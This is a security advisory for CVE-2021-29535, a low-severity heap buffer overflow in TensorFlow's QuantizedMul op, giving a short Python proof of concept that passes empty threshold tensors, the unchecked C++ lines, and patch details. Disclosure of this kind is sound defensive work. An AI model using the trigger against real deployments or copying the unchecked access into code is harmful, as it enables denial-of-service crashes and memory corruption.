Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW0zZjktdzNwMy1wNjY5

Heap buffer overflow in `QuantizedMul`

Impact

An attacker can cause a heap buffer overflow in QuantizedMul by passing in invalid thresholds for the quantization:

import tensorflow as tf

x = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
y = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
min_x = tf.constant([], dtype=tf.float32)
max_x = tf.constant([], dtype=tf.float32)
min_y = tf.constant([], dtype=tf.float32)
max_y = tf.constant([], dtype=tf.float32)

tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)

This is because the implementation assumes that the 4 arguments are always valid scalars and tries to access the numeric value directly:

const float min_x = context->input(2).flat<float>()(0);
const float max_x = context->input(3).flat<float>()(0);
const float min_y = context->input(4).flat<float>()(0);
const float max_y = context->input(5).flat<float>()(0);

However, if any of these tensors is empty, then .flat<T>() is an empty buffer and accessing the element at position 0 results in overflow.

Patches

We have patched the issue in GitHub commit efea03b38fb8d3b81762237dc85e579cc5fc6e87.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Permalink: https://github.com/advisories/GHSA-m3f9-w3p3-p669
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW0zZjktdzNwMy1wNjY5
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: over 3 years ago
Updated: 23 days ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-m3f9-w3p3-p669, CVE-2021-29535
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m3f9-w3p3-p669
• https://nvd.nist.gov/vuln/detail/CVE-2021-29535
• https://github.com/tensorflow/tensorflow/commit/efea03b38fb8d3b81762237dc85e579cc5fc6e87
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-463.yaml
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-661.yaml
• https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-172.yaml
• https://github.com/advisories/GHSA-m3f9-w3p3-p669

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 12.2

Affected Packages